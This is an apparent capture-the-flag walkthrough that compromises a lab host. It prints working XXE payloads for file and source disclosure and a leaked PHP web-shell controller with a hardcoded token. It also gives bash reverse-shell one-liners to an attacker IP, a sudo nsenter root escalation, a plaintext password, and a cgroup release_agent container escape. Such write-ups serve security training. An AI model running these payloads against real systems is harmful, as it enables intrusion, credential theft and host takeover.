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We started with a full port scan using RustScan to quickly identify open ports and services on the
target. The scan results are as follows:

The presence of multiple HTTP services on ports 80, 81, 82 and an additional SSH on 2222
suggests a containerised environment. We focused our initial enumeration on the web
applications.

Browsing to  http://10.10.69.31:80  redirected us to  /login , displaying a Server Manager
Login page. Viewing the page source revealed an interesting JavaScript snippet:

The code references an API endpoint at  /api/user/login . We decided to enumerate the API
further.

Parameter Fuzzing with Fuff

We suspected that the API might accept additional parameters. Using  fuff  to fuzz for query
parameters:

The output revealed two interesting parameters:

The  xml  parameter returned a different response size (91 chars) compared to the default 52,
hinting at possible XXE (XML External Entity) injection. The  id  parameter returned 53 chars,
suggesting it might be used for ID‑based queries (potential SQL injection).

Confirming XXE

We sent a POST request to  /api/user/?xml  with an XML payload to test if the server parsed our
input.

Request:

The server reflected our  <id>  value back, confirming that XML input is processed.

Reading System Files

We crafted an XXE payload to read  /etc/passwd :

Response contained the contents of  /etc/passwd , proving the vulnerability.

Reading Source Code with PHP Filters

To read PHP files, we used the  php://filter  wrapper with base64 encoding:

We saved this base64 blob and decoded it, revealing the source code of  index.php . The code
confirmed the application structure and pointed us to controller files.

Reading the Controller

Knowing the typical directory layout, we targeted the  Website.php  controller:

After decoding the base64 output, we obtained the following relevant code snippets:

The code revealed a hardcoded token  1f7f97c3a7aa4a75194768b58ad8a71d  that grants access to
the dashboard and, more importantly, a web shell functionality.

Setting the Cookie

We used the browser's developer console to set the token cookie:

After refreshing the page, we were redirected to the Server Manager dashboard, which
presented three tools: Hard Drives, Server Specs, and Web Shell.

Accessing the Web Shell

Clicking on Web Shell brought us to a page where we could execute commands. We tested
with  ls -la  and saw the output:

We now had command execution as  www-data .

Reverse Shell

To obtain a proper interactive shell, we used a bash reverse shell one-liner. On our attacker
machine, we set up a listener:

Then, in the web shell, we executed:

A connection arrived, and we caught the shell.

Finding Credentials

We navigated to the web application directory and examined the  Api.php  controller:

Inside, we found the login credentials:

The credentials  admin:niceWorkHackerm4n  matched the token we already had.

Switching to the Admin User

The container had an  admin  user, but its default shell was restricted ( rbash ). We bypassed this
by invoking bash directly via SSH from within the container:

We were now logged in as  admin  with a proper bash shell.

Checking Sudo Privileges

Running  sudo -l  showed:

The  nsenter  binary allowed us to enter the namespaces of another process. Since we could run
it as root without a password, we used it to spawn a root shell.
( https://gtfobins.org/gtfobins/nsenter/#shell )

Breaking Out to the Host ( CVE-2022-04920 )

( https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained )

With root access inside the container, we began looking for ways to escape to the host machine.
Two key indicators suggested this was possible:

We first inspected the capabilities using  capsh --print :

The presence of  cap_sys_admin  meant we could mount filesystems and interact with cgroup
controllers. Next, we checked the cgroup mounts:

The output confirmed that several cgroup controllers were available,
including  rdma ,  memory ,  pids , etc. These are typically writable and can be used for the
release_agent technique.

Performing the Escape

We now followed the classic cgroup release_agent method to execute a command on the host.

First, we needed to find the path on the host that corresponds to the container's filesystem. This
information is stored in  /etc/mtab :

Next, we mounted a cgroup controller (we chose  rdma ) to a directory we controlled:

We then set the release_agent to point to a script we would create on the host (using the path we
extracted):

Now we created the exploit script. Because  $host_path  points to a directory on the host that is
writable from inside the container, any file we create at  /exploit  will actually be written to that
host directory. We used a simple reverse shell:

Finally, we triggered the release_agent by moving a process into the child cgroup and then letting
it exit:

= rustscan -a 10.10.69.31 --ulimit 5000 -r 1-65535 -- -A -T4

PORT     STATE SERVICE REASON         VERSION

22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; 

protocol 2.0)

| ssh-hostkey: 

|   3072 ce:40:b4:84:4a:ce:6e:61:ae:c3:75:8e:f4:bd:8f:af (RSA)

| ssh-rsa 

AAAAB3NzaC1yc2EAAAADAQABAAABgQDJ/9qHk+yC0F+43sP8xB1ZBOc7eWJD5bG/k+91FMnAxPgYfWdoWpyvRf

BN6ZQmtZMsQcLwZMkQHFcjeCRbTNVZhOSXoPcsJvL1gRGltGAF/FSgTnzSyWhGYJf4TdEgC45vkZLFDqOpf25s

RKn2uCDCog1b5CI43EwtNc2IPxyW2v1O66CnW2a8VH+WzJNkB8M5XCJHkWtYYXPBsf3XwjYd/tJ8lt1CqKyYoW

JP8ScbZq6SQqx2xVzYq6LNsme6bRXdTLd8ElTGBYxXBu+mVGpwso9HcEtNWo+BDzPaeg2wCn9vmlmuXMSpyK8w

CWDDcDddW2JOKRFnKIP+b3whIqyRK1szJFjUGeVd+7lpKDsmZ1n4pdIV+W1RFvGQ+QIwobuwpPXOSvpJ7TZRbK

Gbgge/kuP7HFY4ekzcVPsg5EG4hLLRdP1+ZxRzuMPUnrcWyLYr7La+/jlY7seUoKDMtpUDUFS2NWEmH1meFgXr

CEObv6xI6uozAWCRz4mo/9YlP6E=

|   256 3b:eb:bb:66:47:9f:51:4f:fb:08:0d:c3:e1:66:26:42 (ECDSA)

| ecdsa-sha2-nistp256 

AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKE7Vh3XXt5gqyTxRtsqMDdRPc6rWyyh09

KRiek+1ItNImeA/wfAAGAzmTxpjExATU984pE3V2oLlywbNoI5LYA=

|   256 f5:1c:d9:d3:e0:f1:94:e2:6c:f3:3e:1d:98:c4:19:d1 (ED25519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBmOoMvP/BfdeOi0SFr+tz9C2gX/wMxIql/D2uAjy5m0

80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))

|_http-server-header: Apache/2.4.41 (Ubuntu)

| http-methods: 

|_  Supported Methods: GET POST

| http-title: Server Manager Login

|_Requested resource was /login

81/tcp   open  http    syn-ack ttl 62 nginx 1.18.0 (Ubuntu)

|_http-title: Home Page

| http-methods: 

|_  Supported Methods: GET HEAD POST

|_http-server-header: nginx/1.18.0 (Ubuntu)

82/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))

|_http-server-header: Apache/2.4.41 (Ubuntu)

| http-methods: 

|_  Supported Methods: GET

|_http-title: I Love Hills - Home

2222/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; 

protocol 2.0)

| ssh-hostkey: 

|   3072 4f:93:9a:3f:4b:cc:77:91:e3:c4:e2:67:93:fb:98:79 (RSA)

| ssh-rsa 

AAAAB3NzaC1yc2EAAAADAQABAAABgQCrgbNFDTXnsfo/EgAXFHE/uVsYYvVJCW5aTdFejzMW0WtyQ2InTK72Ih

X0GWXn8Va84HcX4OaR7lLr7Nw9AC1ajZE9H0I3MjZDpp+U27CnPRgxfMePs5bDHEO5UBjIdGtdsHiiRbxyGPEg

4N0UClad9VQBPVwARBdTT4EebLx5f9u+dgr5YQNi43tZYyo7PwFmvgl8u0e1Ad89iCwgvi6ymC1Y2rO3PTiHfA

bH9egCM3AiaHt/8QbBnS6/pstFdQKzoJce3FiUjMhTyzvIf1+8GHe8kUW2TMZIuPmYDe2sYKnfcpITfMn4H6ks

zmNd3Hmq4hZcjQNDzni31mH3REVS1L/TvLy7VXQlXJ5rQcOhjORcpkdhWtg1UTdxl4JFiekL1ZdQiYI2GC2nlp

MTPreDVy77ULP4f42mKTC5Bl4XrhNY7TlUSJtj06W9HTf/I5MmO32/TdqAmBE04vyPY12JvxV8cRMle+DVIdVs

lcKBxKDPGEdMlBu6W8UqMqCXRB8=

|   256 00:f9:5e:65:86:74:d8:2d:e1:8d:62:f6:7d:be:a7:07 (ECDSA)

| ecdsa-sha2-nistp256 

AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIfkw7myZvD2XmXo5Xjk8WKdtk7WhDd6yt

dJfmobop3E3NoxAM5HcB5z0m8+Gc6jCR/k1FsT7r9V1DUuSsP8SAw=

|   256 01:a0:a5:3c:2e:5e:02:fe:f5:d2:8a:dd:4c:44:1a:2b (ED25519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPAFvsTY9DDOQfDHXH5SuOvmF0PnGUgaOJvv9eH4JUGz

9999/tcp open  http    syn-ack ttl 63 Golang net/http server

|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E

|_http-title: Site doesn't have a title.

| fingerprint-strings: 

|   FourOhFourRequest, HTTPOptions: 

|     HTTP/1.0 200 OK

|     Date: Thu, 12 Mar 2026 00:06:26 GMT

|     Content-Length: 0

|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 

|     HTTP/1.1 400 Bad Request

|     Content-Type: text/plain; charset=utf-8

|     Connection: close

|     Request

|   GetRequest: 

|     HTTP/1.0 200 OK

|     Date: Thu, 12 Mar 2026 00:06:25 GMT

|     Content-Length: 0

|   OfficeScan: 

|     HTTP/1.1 400 Bad Request: missing required Host header

|     Content-Type: text/plain; charset=utf-8

|     Connection: close

|_    Request: missing required Host header

| http-methods: 

|_  Supported Methods: GET HEAD POST OPTIONS

Warning: OSScan results may be unreliable because we could not find at least 1 open 

and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

Aggressive OS guesses: Linux 4.15 (99%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 

(96%), Linux 2.6.32 - 3.10 (96%), Linux 5.4 (95%), Linux 2.6.32 - 3.5 (94%), Linux 

2.6.32 - 3.13 (94%), Linux 5.0 - 5.14 (94%), Android 9 - 10 (Linux 4.9 - 4.14) (93%), 

Android 10 - 12 (Linux 4.14 - 4.19) (93%)

No exact OS matches for host (test conditions non-ideal).

Uptime guess: 22.293 days (since Tue Feb 17 09:05:27 2026)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=260 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

= ffuf -u "http://10.10.69.31/api/user?FUZZ" -w /usr/share/wordlists/dirb/common.txt 

-ac -v

        /'___\  /'___\           /'___\       

       /\ \__/ /\ \__/  __  __  /\ \__/       

       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      

        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      

         \ \_\   \ \_\  \ \____/  \ \_\       

          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev

________________________________________________

 :: Method           : GET

 :: URL              : http://10.10.69.31/api/user?FUZZ

 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt

 :: Follow redirects : false

 :: Calibration      : true

 :: Timeout          : 10

 :: Threads          : 40

 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

________________________________________________

[Status: 401, Size: 53, Words: 10, Lines: 1, Duration: 272ms]

| URL | http://10.10.69.31/api/user?id

    * FUZZ: id

[Status: 401, Size: 91, Words: 10, Lines: 3, Duration: 274ms]

| URL | http://10.10.69.31/api/user?xml

    * FUZZ: xml

:: Progress: [4614/4614] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:35] :: 

Errors: 0 ::

POST /api/user/?xml HTTP/1.1

Host: 10.10.69.31

Content-Type: application/xml

Content-Length: 69

<?xml version="1.0" encoding="UTF-8"?>

<data>

    <id>1</id>

</data>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<data>

    <id>&xxe;</id>

</data>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-

encode/resource=index.php"> ]>

<data>

    <id>&xxe;</id>

</data>

= echo 

"PD9waHAKaW5jbHVkZV9vbmNlKCcuLi9BdXRvbG9hZC5waHAnKTsKaW5jbHVkZV9vbmNlKCcuLi9Sb3V0ZS5wa

HAnKTsKaW5jbHVkZV9vbmNlKCcuLi9PdXRwdXQucGhwJyk7CmluY2x1ZGVfb25jZSgnLi4vVmlldy5waHAnKTs

KClJvdXRlOjpsb2FkKCk7ClJvdXRlOjpydW4oKTs=" | base64 -d

<?php

include_once('../Autoload.php');

include_once('../Route.php');

include_once('../Output.php');

include_once('../View.php');

Route::load();

Route::run(); 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-

encode/resource=../controllers/Website.php"> ]>

<data>

    <id>&xxe;</id>

</data>

= echo 

"PD9waHAgbmFtZXNwYWNlIENvbnRyb2xsZXI7CgoKdXNlIE1vZGVsXEV4YW1wbGVNb2RlbDsKCmNsYXNzIFdlY

nNpdGUKewoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9nb3V0KCl7CiAgICAgICAgaWYoIGlzc2V0KCR

fQ09PS0lFWyJ0b2tlbiJdKSApIHsKICAgICAgICAgICAgc2V0Y29va2llKCd0b2tlbicsbnVsbCx0aW1lKCktO

DY0MDAsJy8nKTsKICAgICAgICB9CiAgICAgICAgXFZpZXc6OnJlZGlyZWN0KCcvbG9naW4nKTsKICAgIH0KCiA

gICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHRva2VuKCl7CiAgICAgICAgaWYoIGlzc2V0KCRfR0VUWyJ0b2tlb

iJdKSApewogICAgICAgICAgICAkdG9rZW4gPSBwcmVnX3JlcGxhY2UoJy8oW15hLWYwLTldKS8nLCcnLHN0cnR

vbG93ZXIoJF9HRVRbInRva2VuIl0pKTsKICAgICAgICAgICAgaWYoIHN0cmxlbigkdG9rZW4pID09IDMyICl7C

iAgICAgICAgICAgICAgICBzZXRjb29raWUoJ3Rva2VuJywkdG9rZW4sdGltZSgpKzg2NDAwLCcvJyk7CiAgICA

gICAgICAgIH0KICAgICAgICB9CiAgICAgICAgXFZpZXc6OnJlZGlyZWN0KCcvJyk7CiAgICB9CgogICAgcHVib

GljIHN0YXRpYyBmdW5jdGlvbiBsb2dpbigpewogICAgICAgICRkYXRhID0gYXJyYXkoCiAgICAgICAgICAgICd

oZWFkZXInICAgID0+ICBhcnJheSgKICAgICAgICAgICAgICAgICd0aXRsZScgPT4gICdTZXJ2ZXIgTWFuYWdlc

iBMb2dpbicKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICAgICAgXFZpZXc6OnBhZ2UoJ2xvZ2luJywkZGF

0YSk7CiAgICB9CgoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZGFzaGJvYXJkKCl7CiAgICAgICAgaWYoI

Glzc2V0KCRfQ09PS0lFWyJ0b2tlbiJdKSAmJiAkX0NPT0tJRVsidG9rZW4iXSA9PT0gJzFmN2Y5N2MzYTdhYTR

hNzUxOTQ3NjhiNThhZDhhNzFkJyAgKSB7CiAgICAgICAgICAgICRkYXRhID0gYXJyYXkoCiAgICAgICAgICAgI

CAgICAnaGVhZGVyJyA9PiBhcnJheSgKICAgICAgICAgICAgICAgICAgICAndGl0bGUnID0+ICdTZXJ2ZXIgTWF

uYWdlcicKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgKTsKICAgICAgICAgICAgXFZpZXc6OnBhZ2UoJ

2Rhc2hib2FyZCcsICRkYXRhKTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgXFZpZXc6OnJlZGlyZWN0KCc

vbG9naW4nKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBkcml2ZXMoKXsKI

CAgICAgICBpZiggaXNzZXQoJF9DT09LSUVbInRva2VuIl0pICYmICRfQ09PS0lFWyJ0b2tlbiJdID09PSAnMWY

3Zjk3YzNhN2FhNGE3NTE5NDc2OGI1OGFkOGE3MWQnICApIHsKICAgICAgICAgICAgJGRhdGEgPSBhcnJheSgKI

CAgICAgICAgICAgICAgICdoZWFkZXInID0+IGFycmF5KAogICAgICAgICAgICAgICAgICAgICd0aXRsZScgPT4

gJ1NlcnZlciBNYW5hZ2VyIC0gRHJpdmVzJwogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICd0b

29sJyAgPT4gICdEcml2ZXMnLAogICAgICAgICAgICAgICAgJ2RhdGEnICA9PiAgc2hlbGxfZXhlYygnZGYgLWg

nKQogICAgICAgICAgICApOwogICAgICAgICAgICBcVmlldzo6cGFnZSgnZGF0YScsICRkYXRhKTsKICAgICAgI

CB9ZWxzZXsKICAgICAgICAgICAgXFZpZXc6OnJlZGlyZWN0KCcvbG9naW4nKTsKICAgICAgICB9CiAgICB9Cgo

gICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzcGVjcygpewogICAgICAgIGlmKCBpc3NldCgkX0NPT0tJRVsid

G9rZW4iXSkgJiYgJF9DT09LSUVbInRva2VuIl0gPT09ICcxZjdmOTdjM2E3YWE0YTc1MTk0NzY4YjU4YWQ4YTc

xZCcgICkgewogICAgICAgICAgICAkZGF0YSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2hlYWRlcicgPT4gY

XJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ3RpdGxlJyA9PiAnU2VydmVyIE1hbmFnZXIgLSBTZXJ2ZXIgU3B

lY3MnCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAgJ3Rvb2wnICA9PiAgJ1NlcnZlciBTcGVjc

ycsCiAgICAgICAgICAgICAgICAnZGF0YScgID0+ICBzaGVsbF9leGVjKCdsc2NwdScpCiAgICAgICAgICAgICk

7CiAgICAgICAgICAgIFxWaWV3OjpwYWdlKCdkYXRhJywgJGRhdGEpOwogICAgICAgIH1lbHNlewogICAgICAgI

CAgICBcVmlldzo6cmVkaXJlY3QoJy9sb2dpbicpOwogICAgICAgIH0KICAgIH0KCgogICAgcHVibGljIHN0YXR

pYyBmdW5jdGlvbiBzaGVsbCgpewogICAgICAgIGlmKCBpc3NldCgkX0NPT0tJRVsidG9rZW4iXSkgJiYgJF9DT

09LSUVbInRva2VuIl0gPT09ICcxZjdmOTdjM2E3YWE0YTc1MTk0NzY4YjU4YWQ4YTcxZCcgICkgewogICAgICA

gICAgICAkZGF0YSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2hlYWRlcicgPT4gYXJyYXkoCiAgICAgICAgI

CAgICAgICAgICAgJ3RpdGxlJyA9PiAnU2VydmVyIE1hbmFnZXIgLSBXZWIgU2hlbGwnCiAgICAgICAgICAgICA

gICApLAogICAgICAgICAgICAgICAgJ2RhdGEnICA9PiAgKCBpc3NldCgkX1BPU1RbImNtZCJdKSApID8gc2hlb

GxfZXhlYygkX1BPU1RbImNtZCJdKSA6ICcnCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIFxWaWV3OjpwYWd

lKCdzaGVsbCcsICRkYXRhKTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgXFZpZXc6OnJlZGlyZWN0KCcvb

G9naW4nKTsKICAgICAgICB9CiAgICB9Cgp9" | base64 -d

<?php namespace Controller;

use Model\ExampleModel;

class Website

{

    public static function logout(){

        if( isset($_COOKIE["token"]) ) {

            setcookie('token',null,time()-86400,'/');

        }

        \View::redirect('/login');

    }

    public static function token(){

        if( isset($_GET["token"]) ){

            $token = preg_replace('/([^a-f0-9])/','',strtolower($_GET["token"]));

            if( strlen($token) == 32 ){

                setcookie('token',$token,time()+86400,'/');

            }

        }

        \View::redirect('/');

    }

    public static function login(){

        $data = array(

            'header'    =>  array(

                'title' =>  'Server Manager Login'

            )

        );

        \View::page('login',$data);

    }

    public static function dashboard(){

        if( isset($_COOKIE["token"]) && $_COOKIE["token"] === 

'1f7f97c3a7aa4a75194768b58ad8a71d'  ) {

            $data = array(

                'header' => array(

                    'title' => 'Server Manager'

                )

            );

            \View::page('dashboard', $data);

        }else{

            \View::redirect('/login');

        }

    }

    public static function drives(){

        if( isset($_COOKIE["token"]) && $_COOKIE["token"] === 

'1f7f97c3a7aa4a75194768b58ad8a71d'  ) {

            $data = array(

                'header' => array(

                    'title' => 'Server Manager - Drives'

                ),

                'tool'  =>  'Drives',

                'data'  =>  shell_exec('df -h')

            );

            \View::page('data', $data);

        }else{

            \View::redirect('/login');

        }

    }

    public static function specs(){

        if( isset($_COOKIE["token"]) && $_COOKIE["token"] === 

'1f7f97c3a7aa4a75194768b58ad8a71d'  ) {

            $data = array(

                'header' => array(

                    'title' => 'Server Manager - Server Specs'

                ),

                'tool'  =>  'Server Specs',

                'data'  =>  shell_exec('lscpu')

            );

            \View::page('data', $data);

        }else{

            \View::redirect('/login');

        }

    }

    public static function shell(){

        if( isset($_COOKIE["token"]) && $_COOKIE["token"] === 

'1f7f97c3a7aa4a75194768b58ad8a71d'  ) {

            $data = array(

                'header' => array(

                    'title' => 'Server Manager - Web Shell'

                ),

                'data'  =>  ( isset($_POST["cmd"]) ) ? shell_exec($_POST["cmd"]) : ''

            );

            \View::page('shell', $data);

        }else{

            \View::redirect('/login');

        }

    }

}    

document.cookie='token=1f7f97c3a7aa4a75194768b58ad8a71d'

= penelope -p 7777

= /bin/bash -c 'bash -i >& /dev/tcp/10.8.118.119/7777 0>&1'

= cd /var/www/html/controllers

= cat Api.php

= ssh admin@localhost bash

# Password: niceWorkHackerm4n

= /usr/bin/sudo /usr/bin/nsenter --target 1 --mount --uts --ipc --net --pid -- 

/bin/bash

11.. The container had a full set of Linux capabilities, including  cap_sys_admin .
22.. The cgroup filesystem was mounted and writable.

= capsh --print

= ls -la /sys/fs/cgroup/

= host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

= echo $host_path

= mkdir /tmp/cgrp

= mount -t cgroup -o rdma cgroup /tmp/cgrp

= mkdir /tmp/cgrp/x

= echo 1 > /tmp/cgrp/x/notify_on_release

= echo "$host_path/exploit" > /tmp/cgrp/release_agent

= echo '#!/bin/sh' > /exploit

= echo "/bin/bash -c 'bash -i >& /dev/tcp/10.8.118.119/1337 0>&1'" >> /exploit

= chmod a+x /exploit

= sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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https://gtfobins.org/gtfobins/nsenter/#shell
https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained
af://h1-0
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af://h3-12
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